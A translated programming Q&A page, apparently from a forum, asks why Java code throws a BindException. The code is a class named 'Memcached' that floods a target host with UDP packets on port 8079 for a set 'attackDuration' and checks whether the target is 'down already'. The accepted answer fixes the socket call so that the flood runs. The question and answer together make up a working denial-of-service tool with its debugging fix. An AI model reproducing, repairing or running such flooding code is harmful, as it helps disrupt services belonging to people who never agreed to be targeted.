[英]tomcat error: java.net.BindException: Cannot assign requested address (Bind failed)
[英]java.net.BindException: bind failed: EADDRNOTAVAIL (Cannot assign requested address)
運行以下代碼時,我在socket = new DatagramSocket(8079, ip);
行中拋出異常說 java.net.BindException:綁定失敗:EADDRNOTAVAIL(無法分配請求的地址)。 我不確定為什么會這樣。 這是代碼:
public Memcached(String target, int serverPort, int attackDuration) throws MalformedURLException {
targetURL = new URL("http://" + target);
this.serverPort = serverPort;
this.attackDuration = attackDuration * 1000;
}
@Override
public void run() {
long startTime = System.currentTimeMillis();
try {
ip = InetAddress.getByName(targetURL.toExternalForm().replace("http://", ""));
Log.d("tag1", ip.toString());
}
catch(UnknownHostException uhe) {
System.out.println("Unknown host");
ipAddressAbleToBeFound = false;
}
if (ipAddressAbleToBeFound) {
try {
socket = new DatagramSocket(8079, ip);
}
catch(SocketException se) {
System.out.println("Unable to send request, is it down already??");
se.printStackTrace();
socketAbleToBeCreated = false;
}
if (socketAbleToBeCreated) {
while(System.currentTimeMillis() < startTime + attackDuration) {
byte[] buffer = {10,23,12,31,43,32,24};
DatagramPacket packet = new DatagramPacket(buffer, buffer.length, ip, 8079);
try {
socket.send(packet);
}
catch(IOException ioe) {
System.out.println("I/O error occurred");
}
}
}
}
}
}
謝謝!
我想我通過socket = new DatagramSocket();
解決了這個問題。 而不是socket = new DatagramSocket(8079, ip);
. 看起來你不需要在 DatagramSocket 中指定端口和 InetAddress,你只需要在 DatagramPacket 中這樣做。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.